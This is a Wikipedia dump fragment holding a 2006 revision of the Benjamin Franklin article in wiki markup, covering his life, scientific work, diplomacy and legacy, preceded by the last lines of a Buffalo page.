* [http://www.wbuf.noaa.gov/bufclifo.htm Buffalo Climate Information from NOAA]
{{Mapit-US-cityscale|42.904657|-78.849405}}
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  </page>
  <page>
    <title>Benjamin Franklin</title>
    <id>3986</id>
    <revision>
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      <timestamp>2006-03-03T21:46:27Z</timestamp>
      <contributor>
        <ip>209.133.54.175</ip>
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      <text xml:space="preserve">:''Ben Franklin redirects here.  For the former mayor of [[Nepean]], see [[Ben Franklin (politician)]].''

[[Image:Benjamin Franklin by Jean-Baptiste Greuze.jpg|thumb|right|Benjamin Franklin by [[Jean-Baptiste Greuze]] 1777]]
'''Benjamin Franklin''' ({{OldStyleDate|January 17|1706|January 6}} &amp;ndash; [[April 17]] [[1790]]) was one of the most prominent of the [[Founding Fathers of the United States|Founders]] and early [[Politics of the United States|political figures]] and [[statesman|statesmen]] of the [[United States]]. 

Considered the earliest of the Founders, Franklin was noted for his curiosity, ingenuity and diversity of interests. His wit and wisdom is proverbial to this day. As much as anyone else, he shaped the [[American Revolution]] despite never holding national elective office. As a leader of the [[Enlightenment]] he had the attention of scientists and intellectuals all across Europe. As an agent in [[London]] before the Revolution, and Minister to [[Early Modern France|France]] during, he more than anyone defined the new nation in the minds of Europe. His success in securing French military and financial aid was decisive for American victory over [[Kingdom of Great Britain|Britain]]. He invented the [[lightning rod]]; he was an early proponent of [[Thirteen Colonies|colonial unity]]; historians hail him as the &quot;First American&quot;. The city of [[Philadelphia, Pennsylvania]] marked Franklin's 300th birthday in January 2006 with a wide array of exhibitions, and events citing Franklin's extraordinary accomplishments throughout his illustrious career.

Born in [[Boston, Massachusetts|Boston]], [[Massachusetts]] to a [[tallow|tallow-maker,]] Franklin learned printing from  his  older brother and became a newspaper editor, printer, and merchant in Philadelphia, becoming very wealthy. He spent many years in [[England]] and published the famous ''[[Poor Richard's Almanac|Poor Richard's Almanack]]'' and the ''[[Pennsylvania Gazette (newspaper)|Pennsylvania Gazette]]''. He formed both the first [[public library|public lending library]] and [[fire department]] in America as well as the [[Junto]], a political discussion club.

He became a [[national hero]] in America when he convinced [[Parliament of the United Kingdom|Parliament]] to repeal the unpopular [[Stamp Act 1765|Stamp Act]]. A diplomatic genius, Franklin was almost universally admired among the French as American minister to Paris, and was a major figure in the development of positive [[Franco-American relations]]. From 1775 to 1776, Franklin was [[Postmaster General of the United States|Postmaster General]] under the [[Continental Congress]] and from 1785 to his death in 1790 was [[Governor of Pennsylvania|President of the Supreme Executive Council of Pennsylvania]].

Franklin was interested in [[science]] and [[technology]], carrying out his famous [[electricity]] [[experiment]]s and invented the [[Franklin stove]], medical [[catheter]], lightning rod, [[swimfin]]s, [[glass harmonica]], and [[bifocals]]. He also played a major role in establishing the higher education institutions that would become the [[Ivy League]]'s [[University of Pennsylvania]] and the [[Franklin and Marshall College]]. In addition, Franklin was a noted linguist, fluent in five languages. He also practiced and published on [[astrology]] (see ''[[Poor Richard's Almanac]]'').

Franklin was also noted for his [[philanthropy]] and several  liaisons, including that which produced his illegitimate Loyalist son [[William Franklin]], later the [[governor of New Jersey|colonial governor]] of [[New Jersey]]. Towards the end of his life, he became one of the most prominent early American [[Abolitionism|abolitionists]]. Today Franklin is pictured on the U.S. [[U.S. one hundred-dollar bill|$100 bill]].

==Biography==

===Ancestry===
Franklin's father, Josiah Franklin, was born at [[Ecton]], [[Northamptonshire]], [[England]] on [[December 23]], [[1657]], the son of Thomas Franklin, a [[blacksmith]] and [[farmer]], and Jane White. His mother, Abiah Folger, was born in [[Nantucket]], [[Massachusetts]] on [[August 15]], [[1667]], to Peter Folger, a miller and schoolteacher, and his wife [[Mary Morrill]], a former [[indentured servant]].

Around 1677, Josiah married Anne Child at Ecton, and over the next few years had three children. These half-siblings of Benjamin Franklin included Elizabeth ([[March 2]], [[1678]]), Samuel ([[May 16]], [[1681]]), and Hannah ([[May 25]], [[1683]]). 

Sometime during the second half of 1683, the Franklins left [[England]] for [[Boston, Massachusetts|Boston]], [[Massachusetts]]. While in Boston, they had several more children, including Josiah Jr. ([[August 23]], [[1685]]), Ann ([[January 5]], [[1687]]), Joseph ([[February 5]], [[1688]]), and Joseph ([[June 30]], [[1689]]) (the first Joseph having died soon after birth). 

Josiah's first wife Anne died in Boston on [[July 9]], [[1689]].  He married to Abiah Folger on [[November 25]], [[1689]] in the [[Old South Church, Boston, Massachusetts|Old South Church]] of Boston by the Rev. Samuel Willard.

Josiah and Abiah had the following children: John ([[December 7]], [[1690]]), Peter ([[November 22]],[[1692]]), Mary ([[September 26]], [[1694]]), James ([[February 4]], [[1697]]), Sarah ([[July 9]], [[1699]]), Ebenezer ([[September 20]], [[1701]]), Thomas ([[December 7]],  [[1703]]), '''Benjamin''' ([[January 17]], [[1706]]), Lydia ([[August 8]], [[1708]]), and Jane ([[March 27]], [[1712]]).

===Early life===
[[Image:Autograph of Benjamin Franklin (from Nordisk familjebok).png|thumb|300px|Autograph of Benjamin Franklin]]

Benjamin Franklin was born on Milk Street in [[Boston, Massachusetts]] on [[January 17]], [[1706]] [http://www.alumni.upenn.edu/club/benbday/birthdate.html]. His father, Josiah Franklin, was a [[tallow]] chandler, a maker of candles and soap, whose second wife was Benjamin's mother. Josiah's marriages produced 17 children; Benjamin was the fifteenth and youngest son. He attended [[Boston Latin School]] but did not graduate.  His schooling ended at ten, then worked for his father, and at 12 he became an [[apprenticeship|apprentice]] to his brother James, a printer who published the ''New England Courant'', [[History of American newspapers|the first truly independent newspaper in the colonies.]] While a printing apprentice, he wrote under the pseudonym of 'Silence Dogood' who was ostensibly a middle-aged widow. His brother and the Courant's readers did not initially know the real author. James was not impressed when he discovered his popular correspondent was his younger brother. Franklin left his apprenticeship without permission and in so doing became a fugitive.

At the age of 17, Franklin ran away to [[Philadelphia, Pennsylvania|Philadelphia]], seeking a new start in a new city. When he first arrived he worked in several printer shops around town. However, he was not satisfied by the immediate prospects. After a few months, while working in a printing house, Franklin was induced by Pennsylvania Governor Sir William Keith to go to [[London, England|London]], ostensibly to acquire the equipment necessary for establishing another newspaper in Philadelphia.  Finding Keith's promises of backing a newspaper to be empty, Franklin worked as a [[compositor]] in a printer's shop in what is now the Church of St Batholomew the Great, Smithfield. Following this, he returned to Philadelphia in 1726 with the help of a merchant named Thomas Denham, who gave Franklin a position as clerk, shopkeeper, and bookkeeper in Denham's merchant business.

Upon Denham's death, Franklin returned to his former trade.  By 1730, Franklin had set up a printing house of his own and had contrived to become the [[History of American newspapers|publisher of a newspaper called &quot;The Pennsylvania Gazette&quot;.]] The Gazette gave Franklin a forum for agitation about a variety of local reforms and initiatives through printed essays and observations. Over time, his commentary, together with a great deal of savvy about cultivating a positive image of an industrious and intellectual young man, earned him a great deal of social respect. Even after Franklin had achieved fame as a scientist and statesman, he would habitually sign his letters with the unpretentious 'B. Franklin, Printer'.

Franklin was initiated into the local [[Freemason]] lodge in 1731 (new style), and became grand master in 1734, indicating his rapid rise to prominence in Philadelphia.[http://freemasonry.bcy.ca/biography/franklin_b/franklin_b.html] He edited and published  the first Masonic book in America, a reprint of [[James Anderson]]'s [http://digitalcommons.unl.edu/libraryscience/25/ The Constitutions of the Free-Masons] that same year. He remained a Freemason for the rest of his life.

===Deborah Read===
In 1724, while a boarder in the Read home, Franklin had courted [[Deborah Read]] before going to London at Governor Keith's request. At that time, Miss Read's mother was wary of allowing her daughter to wed a seventeen-year old who was on his way to London. Her own husband having recently died, Mrs. Read declined Franklin's offer of marriage.

While Franklin was finding himself in London, Deborah married a man named John Rodgers.  This proved to be a regrettable decision. Rodgers shortly avoided his debts and prosecution by fleeing to [[Barbados]], leaving Deborah behind.  With Rodgers' fate unknown, and bigamy an offense punishable by [[Flagellation|public whipping]] and [[prison|imprisonment]], Deborah was not free to remarry.

Franklin himself had his own actions to ponder.  In 1730, Franklin acknowledged an illegitimate son named [[William Franklin|William]], who eventually became the last Loyalist governor of [[New Jersey]].  While the identity of William's mother remains unknown, perhaps the responsibility of an infant child gave Franklin a reason to take up residence with Deborah Read. William would be raised in the Franklin household but eventually broke with his father over the treatment of the colonies at the hands of the crown, but was not above using his father's notoriety to enhance his own standing.

Franklin established a common law marriage with Deborah Read on [[September 1]], [[1730]]. At a time when many colonial families consisted of six or more children, Benjamin and Deborah Franklin eventually had two (in addition to raising William).  The first was Francis Folger Franklin, born October 1732.  In one of the most painful moments of Franklin's life, the boy died of smallpox in the fall of 1736.  A daughter, Sarah Franklin, was born in 1743.  She eventually married a man named Richard Bache, had seven children, and cared for her father in his old age.

Deborah's fear of the sea meant that she never accompanied Franklin on any of his extended trips to Europe, despite his repeated requests.

===Success as author===
In 1733, Franklin began to issue the famous ''[[Poor Richard's Almanac|Poor Richard's Almanac]]'' (with content both original and borrowed) on which much of his popular reputation is based. Adages from this almanac such as &quot;A penny saved is twopence clear&quot; (often misquoted as &quot;A penny saved is a penny earned&quot;) and &quot;Fish and visitors stink in three days&quot; remain common quotations in the modern world. He sold about ten thousand copies a year.

In 1758, the year in which he ceased writing for the Almanac, he printed &quot;Father Abraham's Sermon,&quot; one of the most famous pieces of literature produced in [[Colonial America]].

Franklin was well-known as a [[humorist]] and a collection of his humorous writings can be found in the book: &quot;Fart Proudly: Writings of Benjamin Franklin You Never Read in School.&quot;

Franklin's [[The Autobiography of Benjamin Franklin|Autobiography]], published after his death, has become one of the classics of the genre.

===Inventions and scientific inquiries===
Franklin was a prodigious inventor. Among his many creations were the [[lightning rod]], the [[armonica]], the [[Franklin stove]], [[bifocals|bifocal glasses]], and the flexible urinary [[catheter]]. Although Franklin never patented any of his own inventions, he was a supporter of the rights of inventors and authors and was responsible for inserting into the United States Constitution the provision for limited-term patents and copyrights.

In 1743, Franklin founded the [[American Philosophical Society]] to help scientific men discuss their discoveries. He began the electrical research that, along with other scientific inquiries, would occupy him for the rest of his life (in between bouts of politics and money-making).

[[Image:BenFranklin Waterspout 1806.jpg|thumb|180px|right|An illustration from Franklin's paper on &quot;[[waterspout|Water-spouts]] and Whirlwinds.&quot;]]
In 1748, he retired from printing and went into other businesses. He created a partnership with his foreman, David Hill, which provided Franklin with half of the shop's profits for 18 years. This lucrative business arrangement provided leisure time for study, and in a few years he had made discoveries that gave him a reputation with the learned throughout Europe and especially in [[France]]. 

These include his investigations of [[electricity]]. Franklin proposed that &quot;vitreous&quot; and &quot;resinous&quot; electricity were not different types of &quot;electrical fluid&quot; (as electricity was called then), but the same electrical fluid under different pressures (See [[electrical charge]]). He was the first to label them as positive and negative respectively,[http://scienceworld.wolfram.com/biography/FranklinBenjamin.html] and the first to discover the principle of conservation of charge.[http://www.physchem.co.za/Static%20Electricity/Charge.htm] In 1750, he published a proposal for an experiment to prove that lightning is electricity by flying a [[kite flying|kite]] in a [[storm]] that appeared capable of becoming a [[lightning]] storm. On [[May 10]], [[1752]], Thomas Francois d'Alibard of [[France]] conducted Franklin's experiment (using a 40-foot-tall iron rod instead of a kite) and extracted electrical sparks from a cloud. On [[June 15]], Franklin conducted his famous kite experiment and also successfully extracted sparks from a cloud (unaware that d'Alibard had already done so, 36 days earlier). Franklin's [[experiment]] was not written up until [[Joseph Priestley]]'s 1767 ''History and Present Status of Electricity''; the evidence shows that Franklin was insulated (not in a conducting path, as he would have been in danger of [[electrocution]] in the event of a lightning strike). (Others, such as Prof. [[Georg Wilhelm Richmann]] of [[St. Petersburg, Russia]], were spectacularly electrocuted during the months following Franklin's experiment.) In his writings, Franklin indicates that he was aware of the dangers and offered alternative ways to demonstrate that lightning was electrical, as shown by his use of the concept of [[ground (electricity)|electrical ground]]. If Franklin did perform this experiment, he did not do it in the way that is often described, flying the kite and waiting to be struck by lightning, (as it would have been [http://www.mos.org/sln/toe/kite.html dramatic but fatal]). Instead he used the kite to collect some electric charge from a storm cloud, which implied that [[lightning]] was electrical. See, for example, the 1805 painting by [[Benjamin West]] of ''[http://www.frankelec.com/west_thumb_desc.htm Benjamin Franklin drawing electricity from the sky]''.

Franklin's electrical experiments led to his invention of the [[lightning rod]]. He noted that conductors with a sharp rather than a smooth point were capably of discharging silently, and at a far greater distance. He surmised that this knowledge could be of use in protecting buildings from lightning, by attaching ''&quot;upright Rods of Iron, made sharp as a Needle and gilt to prevent Rusting, and from the Foot of those Rods a Wire down the outside of the Building into the Ground;...Would not these pointed Rods probably draw the Electrical Fire silently out of a Cloud before it came nigh enough to strike, and thereby secure us from that most sudden and terrible Mischief!&quot;'' Following a series of experiments on Franklin's own house, lightning rods were installed on the Academy of Philadelphia (later the [[University of Pennsylvania]]) and the Pennsylvania State House (later [[Independence Hall]]) in 1752.[http://www.physicstoday.org/vol-59/iss-1/p42.html]

In recognition of his work with electricity, Franklin received the [[Royal Society]]'s [[Copley Medal]] in 1753, and in 1756 he became one of the few eighteenth century Americans to be elected as a Fellow of the Society. The [[cgs]] unit of [[electric charge]] has been named after him: one ''franklin'' (Fr) is equal to one [[statcoulomb]].

On [[October 21]], [[1743]], a storm blowing from the north-east denied Franklin the opportunity of a witnessing a [[lunar eclipse]]. In correspondance with his brother, Franklin learned that the same storm had not reached [[Boston]] until ''after'' the eclipse, despite the fact that Boston is to the north-east of Philadelphia. He deduced that storms do not always travel in the direction of the prevailing wind, a concept which would have great influence in [[meteorology]].[http://www.islandnet.com/~see/weather/almanac/arc2003/alm03oct.htm]  

Franklin noted a principle of [[refrigeration]] by observing that on a very hot day, he stayed cooler in a wet shirt in a breeze than he did in a dry one. To understand this [[phenomenon]] more clearly Franklin conducted experiments. On one warm day in [[Cambridge]], England in 1758, Franklin and fellow scientist John Hadley experimented by continually wetting the ball of a mercury [[thermometer]] with [[diethyl ether|ether]] and using [[bellows]] to evaporate the ether.  With each subsequent [[evaporation]], the thermometer read a lower temperature, eventually reaching 7 °F (-14 °C).  Another thermometer showed the room [[temperature]] to be constant at 65 °F (18 °C). In his letter “[[Cooling by Evaporation]],” Franklin noted that “one may see the possibility of freezing a man to death on a warm summer’s day.&quot;

===Musical endeavors===
Franklin is known to have played the [[violin]], the [[harp]], and the [[guitar]]. He also composed music, notably a [[string quartet]] in [[Classical music era|early classical style]], and invented (a much improved version of) the [[glass harmonica]], which soon found its way to Europe.

&lt;!-- source: http://www.21stcenturysciencetech.com/articles/fall%202003/Franklin.html --&gt;

===Public life===
Franklin and several other members of a [[philosophical]] association joined their resources in 1731 and began the first [[public library]] in Philadelphia. The newly founded [[Library Company]] ordered its first books in 1732, mostly theological and educational tomes, but by 1741 the library also included works on history, geography, poetry, exploration, and [[science]]. The success of this library encouraged the opening of libraries in other American cities, and Franklin felt that this [[enlightenment (concept)|enlightenment]] partly contributed to the American colonies' struggle to maintain their privileges.

In 1736 Franklin created the [[Union Fire Company]], the first volunteer [[firefighting]] company in America. In the same year he printed a new currency for [[New Jersey]] based on innovative anti-[[counterfeiting]] techniques which he had devised.

As he matured, Franklin began to concern himself more with public affairs. In 1743, he set forth a scheme for [[The Academy and College of Philadelphia]]. He was appointed President of the Academy in [[November 13]], [[1749]], and it opened on [[August 13]], [[1751]]. At its first [[commencement]], on [[May 17]], [[1757]], seven men graduated; six with a [[Bachelor of Arts]] and one as [[Master of Arts (postgraduate)|Master of Arts]]. It was later merged with the '''University of the State of Pennsylvania''', to become the [[University of Pennsylvania]], today a member of the [[Ivy League]].

In 1753, both [[Harvard University|Harvard]] and [[Yale University|Yale]] awarded him honorary degrees [http://www.gophila.com/Go/PressRoom/pressreleases/ben300/Resume_Ben_Franklin_Fact_Sheet.aspx].

In 1751, Franklin and Dr. Thomas Bond obtained a charter from the [[Pennsylvania]] legislature to establish a hospital.  [[Pennsylvania Hospital]] was the first hospital in what was to become the [[United States|United States of America]]. 

[[Image:joinordie.png|left|frame|This political cartoon by Franklin urged the colonies to join together during the [[French and Indian War]] ([[Seven Years' War]]).]]
Franklin became involved in Philadelphia politics, and progressed rapidly. In October 1748 he was selected as a councilman, in June 1749 he became a [[Justice of the Peace]] for Philadelphia, and in 1751 he was elected to the [[Pennsylvania General Assembly|Pennsylvania Assembly]]. On [[August 10]], [[1753]] Franklin was appointed joint deputy postmaster-general of North America.  His most notable service in domestic politics was his reform of the postal system, but his fame as a statesman rests chiefly on his subsequent diplomatic services in connection with the relations of the colonies with Great Britain, and later with [[France]]. 

In 1754 he headed the Pennsylvania delegation to the [[Albany Congress]]. This meeting of several colonies had been requested by the [[Board of Trade]] in England to improve relations with the Indians and defense against the [[France|French]]. Franklin proposed a broad Plan of Union for the colonies. While the plan was not adopted, elements of it found their way into the [[Articles of Confederation]] and the [[United States Constitution|Constitution]].

In 1757, he was sent to [[England]] by the Pennsylvania Assembly as a colonial agent to [[protest]] against the political influence of the Penn family, the proprietors of the colony. For five years he remained there, striving to end the proprietors' prerogative to overturn legislation from the elected Assembly, and their exemption from paying taxes on their land. His lack of influential allies in [[Whitehall]] led to the failure of this mission.  In 1762, [[University of Oxford|Oxford University]]  awarded Franklin an honorary doctorate for his scientific accomplishments and from then on went by &quot;Doctor Franklin.&quot;  He also managed to secure a post for his illegitimate son, [[William Franklin]], as [[Governor of New Jersey|Colonial Governor of New Jersey]].

During his stay in London, Franklin became involved in liberal politics. He was a member of the Club of Honest Whigs, alongside radical thinkers such as [[Richard Price]].

In 1756, Franklin became a member of the Society for the Encouragement of Arts, Manufactures &amp; Commerce (now [[Royal Society of Arts]] or RSA, which had been founded in 1754), whose early meetings took place in coffee shops in London's [[Covent Garden]] district, close to Franklin's main residence in Craven Street (the only one of his residences to survive and which is currently undergoing renovation and conversion to a Franklin museum). After his return to America, Franklin became the Society's Corresponding Member and remained closely connected with the Society. The RSA instituted a Benjamin Franklin Medal in 1956 to commemorate the 250th anniversary of Franklin's birth and the 200th anniversary of his membership of the RSA.

[[Image:Benjamin Franklin by Benjamin Wilson, 1759.jpg|thumb|Benjamin Franklin by [[Benjamin Wilson (painter)|Benjamin Wilson]], 1759.]]

===Later years===
On his return to America (1762), Franklin became involved in the [[Pontiac's Rebellion#The Paxton Boys' Uprising|Paxton Boys' affair]], writing a scathing attack on their massacre of Christian American Indians, and eventually persuading them to disperse.[http://www.historycarper.com/resources/twobf3/massacre.htm]. Many of the Paxton Boys' supporters were Scotch-Irish [[Presbyterians]] and German [[Reformed]] or [[Lutherans]] from the rural west of Pennsylvania, leading to claims that Franklin was biased in favour of the urban [[Quaker]] elite of the East. Because of these accusations, and other attacks on his character, Franklin lost his seat in the 1764 Assembly elections. This defeat, however, allowed him the opportunity to return to London, where he would seal his reputation as a pro-American radical. 

In 1764, Franklin was dispatched to England as an agent for the colony, this time to petition [[George III of the United Kingdom|the King]] to resume the government from the hands of the proprietors. During this visit he would also become colonial agent for [[Georgia (U.S. state)|Georgia]], [[New Jersey]] and [[Massachusetts]]. In [[London]], he actively opposed the proposed [[Stamp Act 1765|Stamp Act]], despite accusations by opponents in America that he had been complicit in its creation. His principled opposition to the Stamp Act, and later to the [[Townshend Acts]] of 1767, would lead to the end of his dream of a career in the British Government, and his alliance with proponents of [[American independence|colonial independence]]. It also led to an irreconcilable break with his son, William who remained loyal to the British.

[[Image:Franklin-Benjamin-LOC.jpg|thumb|left|Franklin, an engraving from a painting by Duplessis]]

In September 1767, Franklin visited [[Paris]] with his usual travelling partner, Sir [[John Pringle]]. News of his electrical discoveries was widespread in [[France]]. His reputation meant that he was introduced to many influential scientists and politicians, and also to King [[Louis XV]]. The good will that was built up between Franklin and the French would later prove useful in the [[American War of Independence]], during which he was a United States commissioner there. 

While living in [[London]] in 1768, he developed a [[Phonetic alphabet]] in ''A Scheme for a new Alphabet and a Reformed Mode of Spelling''.  This reformed alphabet discarded six letters Franklin regarded as redundant, and substituted six new letters for sounds he felt lacked letters of their own; however, his new alphabet never caught on and he eventually lost interest. [http://www.omniglot.com/writing/franklin.htm]

In 1771 Franklin travelled extensively around the British Isles staying with, among others, [[Joseph Priestley]] in [[Leeds]] and [[David Hume]] in [[Edinburgh]]. In [[Dublin]], Franklin was invited to sit with the members of the [[Irish Parliament]] rather than in the gallery. He was the first American to be given this honor.[http://www.ushistory.org/franklin/biography/chap05.htm]

1773 saw the publication of two of Franklin's most celebrated pro-American satirical essays: ''Rules by Which a Great Empire May Be Reduced to a Small One'', and ''An Edict by the King of Prussia''.[http://www.historycarper.com/resources/twobf3/pa-1773.htm] He also published an ''Abridgement of the Book of Common Prayer'', anonymously with [[Francis Dashwood]]. Among the unusual features of this work is a funeral service reduced to six minutes in length, &quot;to preserve the health and lives of the living&quot;.

Franklin obtained some private letters from Massachusetts governor [[Thomas Hutchinson]] and lieutenant governor [[Andrew Oliver]] which proposed restrictions on colonists' freedoms, and sent them to America. The discovery that it was he who had illegally distributed the letters meant the end of his political career in London, and the end of hopes for a peaceful solution to the escalating trans-Atlantic dispute. He was dismissed as deputy postmaster-general for North America, and left London in March 1775.

By the time Franklin arrived in Philadelphia on [[May 5]], the War of Independence had begun. The Pennsylvania Assembly unanimously chose him as their delegate to the [[Second Continental Congress]]. In 1776 he assisted in writing the [[United States Declaration of Independence|Declaration of Independence]], radically editing [[Thomas Jefferson|Jefferson]]'s draft.

In December of 1776, he was dispatched to France as [[commissioner]] for the United States.  He lived in a home in the Parisian suburb of [[Passy]], donated by [[Jacques-Donatien Le Ray|Jacques-Donatien Le Ray de Chaumont]] who would become a friend and the most important foreigner to help the United States win the War of Independence. Franklin remained in France until 1785, and was such a favorite of French society that it became fashionable for wealthy French families to decorate their parlors with a painting of him. He conducted the affairs of his country towards the French nation with great success, which included securing a critical military alliance and negotiating the [[Treaty of Paris (1783)]]. When he finally returned home in 1785, he received a place only second to that of [[George Washington]] as the champion of American independence.  Le Ray honored him with a commissioned portrait painted by [[Joseph Siffred Duplessis]], that now hangs in the National Portrait Gallery of the [[Smithsonian Institution]] in [[Washington, DC]].

After his return from France, Franklin became an [[abolitionist]], freeing both of his slaves. He eventually became [[president]] of [[The Society for the Relief of Free Negroes Unlawfully Held in Bondage]]. [http://www.pbs.org/benfranklin/l3_citizen_abolitionist.html]

In 1787, while in [[retirement]], he agreed to attend as a delegate the meetings that would produce the [[United States Constitution]] to replace the [[Articles of Confederation]].  He is the only [[Founding Fathers of the United States|Founding Father]] who is a signatory of all three of the major documents of the founding of the United States: [[The Declaration of Independence]], The [[Treaty of Paris (1783)|Treaty of Paris]] and the [[United States Constitution]]. Franklin also has the distinction of being the oldest signer of both the Declaration of Independence and the United States Constitution. He was 70 years old when he signed the Declaration, and 81 when he signed the [[Constitution]].  

Also in 1787, a group of prominent ministers in [[Lancaster, Pennsylvania]] proposed the foundation of a new college to be named in Franklin's honor. Franklin donated £200 towards the development of Franklin College, which would later merge with Marshall College in 1853.  It is now called [[Franklin and Marshall College]].

Between 1771 and 1788, he finished his [[autobiography]]. While it was at first addressed to his son, it was later completed for the benefit of mankind at the request of a friend.

In his later years, as Congress was forced to deal with the issue of slavery, Franklin wrote several essays that attempted to convince his readers of the importance of the abolition of slavery and of the integration of Africans into American society. These writings included:

*''[http://en.wikisource.org/wiki/An_Address_to_the_Public An Address to the Public from the Pennsylvania Society for Promoting the Abolition of Slavery]'', (1789)
*''[http://en.wikisource.org/wiki/Plan_for_Improving_the_Condition_of_the_Free_Blacks Plan for Improving the Condition of the Free Blacks]'' (1789), and
*''Sidi Mehemet Ibrahim on the Slave Trade'' [http://members.tripod.com/~american_almanac/ffslave.htm#ben](1790).

On [[February 11]], [[1790]], Quakers from New York and Pennsylvania presented their petition for abolition. Their argument against slavery was backed by the Pennsylvania Abolitionist Society and its president, Benjamin Franklin. Because of his involvement in abolition, its cause was greatly debated around the states, especially in the House of Representatives.

===Religious beliefs===
Franklin's parents had intended for him to have a career in the church. As a teenager, however, he became disillusioned with organized religion, after ''&quot;. . . Some books against Deism fell into my hands. . . It happened that they wrought an effect on me quite contrary to what was intended by them; for the arguments of the Deists, which were quoted to be refuted, appeared to me much stronger than the refutations; in short, I soon became a thorough Deist.&quot;''[http://www.usgennet.org/usa/topic/preservation/bios/franklin/chpt4.htm] He attacked Christian principles of free will and morality in a 1725 pamphlet, ''[[A Dissertation on Liberty and Necessity, Pleasure and Pain]].''

Later in life Franklin would become more accommodating of the utilitarian function of Christianity. He paid his annual subscription to Philadelphia's Presbytarian minister in recognition of the church's service to the community. In a letter to [[Thomas Paine]], he wrote of his belief in the moral utility of faith: ''&quot;If men are so wicked with religion, what would they be if without it.&quot;''[http://www.wallbuilders.com/resources/search/detail.php?ResourceID=93]

However, like most [[deists]], Franklin did not believe in an interventionist God, thinking it ''&quot;great vanity in me to suppose that the Supremely Perfect does in the least regard such an inconsiderable nothing as man&quot;''.[http://www.findarticles.com/p/articles/mi_m2843/is_2_28/ai_114090213] He consistently attacked religious dogma and promoted tolerance, arguing that morality was dependant upon a person's actions rather than their religious beliefs: ''&quot;I think opinions should be judged by their influences and effects; and if a man holds none that tend to make him less virtuous or more vicious, it may be concluded that he holds none that are dangerous, which I hope is the case with me.&quot;''[http://www.findarticles.com/p/articles/mi_m2843/is_2_28/ai_114090213/pg_2]

In contrast, it has been noted that Benjamin Franklin sometimes attended meetings with the [[Hellfire Club]] in England, which is widely believed to have been a Satanic group.

===Death and afterwards===
[[Image:Benjamin_Franklin_Memorial.jpg|right|thumb|165px|Memorial marble statue of Ben Franklin]]

Benjamin Franklin died on [[April 17]], [[1790]] at the extremely advanced age (for that time) of 84 (while weighing over 300 pounds), and was [[interred]] in [[Christ Church Burial Ground]] in [[Philadelphia, Pennsylvania]].

At his death, Franklin [[bequest|bequeathed]] £1000 (about $4400 at the time) each to the cities of Boston and Philadelphia, in trust for 200 years. The origin of the trust began in 1785 when a French [[mathematician]] named Charles-Joseph Mathon de la Cour wrote a [[parody]] of Franklin's Poor Richard's Almanack called Fortunate Richard. In it he mocked the unbearable spirit of American optimism represented by Franklin. The Frenchman wrote a piece about Fortunate Richard leaving a small sum of money in his will to be used only after it had collected [[interest]] for 500 years. Franklin, who was 79 years old at the time, wrote back to the Frenchman, thanking him for a great idea and telling him that he had decided to leave a bequest of 1,000 pounds each to his native Boston and his adopted Philadelphia, on the condition that it be placed in a fund that would gather interest over a period of 200 years. As of 1990, over $2,000,000 had accumulated in Franklin's Philadelphia trust since his death. During the lifetime of the trust, Philadelphia used it for a variety of loan programs to local residents. From 1940 to 1990, the money was used mostly for mortgage loans. When the trust came due, Philadelphia decided to spend it on [[scholarships]] for local high school students. Franklin's Boston trust fund accumulated almost $5,000,000 during that same time, and eventually was used to establish a trade school that, over time, became the [[Benjamin Franklin Institute of Technology|Franklin Institute of Boston]].    [http://www.mathsci.appstate.edu/~sjg/class/1010/wc/finance/franklin1.html (excerpt from Philadelphia Inquirer article by Clark De Leon)]

Franklin's likeness adorns the American [[U.S. hundred dollar bill|$100 bill]].  As a result, $100 bills are sometimes referred to in slang as &quot;Benjamins&quot; or &quot;Franklins.&quot; From 1948 to 1964, Franklin's portrait was also on the [[Franklin half dollar|half dollar]]. He has also appeared on a $50 bill in the past, as well as several varieties of the $100 bill from 1914 and 1918, and every $100 bill from 1928 to the present.  Franklin also appears on the $1,000 Series EE [[Treasury security#Savings bond|Savings bond]].

In 1976, as part of a [[United States Bicentennial|bicentennial]] celebration, Congress dedicated a 20-foot high marble statue in [[Philadelphia]]'s [[Franklin Institute]] as the [[Benjamin Franklin National Memorial]].  Many of Franklin's personal possessions are also on display at the Institute.  It is one of the few National Memorials located on [[private property]].

In 1998, workmen restoring Franklin's London home ([[Benjamin Franklin House]]) dug up the remains of six children and four adults hidden below the home. ''[[The Times]]'' reported on [[February 11]], [[1998]]:
:Initial estimates are that the bones are about 200 years old and were buried at the time Franklin was living in the house, which was his home from 1757 to 1762, and from 1764 to 1775. Most of the bones show signs of having been dissected, sawn or cut. One skull has been drilled with several holes. Paul Knapman, the Westminster Coroner, said yesterday: &quot;I cannot totally discount the possibility of a crime. There is still a possibility that I may have to hold an inquest.&quot;

The Friends of [[Benjamin Franklin House]] (the organization responsible for the restoration of Franklin's house at 36 Craven Street in London) note that the bones were likely placed there by William Hewson, a young surgeon who lived in the house for 2 years and who had built a small anatomy school at the back of the house. They note that while Franklin likely knew what Hewson was doing, he probably did not participate in any dissections because he was much more of a physicist than a medical man. Hewson ironically died of [[septicaemia]] on [[May 1]], [[1774]] which he contracted from cutting himself while dissecting a putrid corpse. [http://www.benjaminfranklinhouse.org/site/sections/news/pdf/Issue2.pdf]

==Franklin in popular culture==
*Benjamin Franklin is one of the main inventors of [[Gregory Keyes]]' ''[[Age of Unreason]]'' [[trilogy]].
*A fictionalized but somewhat accurate version of Franklin appears as a main character in the stage [[musical]] ''[[1776 (musical)|1776]]''. The film version of ''1776'' features [[Howard da Silva]], who originated the role of Franklin on [[Broadway theatre|Broadway]].
*A young Benjamin Franklin appears in Neal Stephenson's novel of 17th century science and alchemy, ''[[Quicksilver (novel)|Quicksilver]]''.
*[[Walt Disney|Walt Disney's]] cartoon ''[[Ben and Me]]'' (1953), based on the book by [[Robert Lawson (author)|Robert Lawson]], counterfactually explains to children that Ben Franklin's achievements were actually the ideas of a mouse named Amos.
*Franklin surprisingly appears as a character in ''[[Tony Hawk's Underground 2]]'', a [[skateboarding]] [[video game]]. Players encounter Franklin in his hometown of Boston and are able to play as him thereafter.
*''Proud Destiny'' by [[Lion Feuchtwanger]], a novel mainly about [[Pierre Beaumarchais]] and Benjamin Franklin beginning in 1776's Paris.
*Ben Franklin appears in the [[LucasArts]] Entertainment Company Game ''[[Day of the Tentacle]]''.
*Benjamin Franklin is portrayed in a central role in the [[Public Broadcasting Service|PBS]] cartoon ''[[Liberty's Kids]]'' voiced by [[Walter Cronkite]].
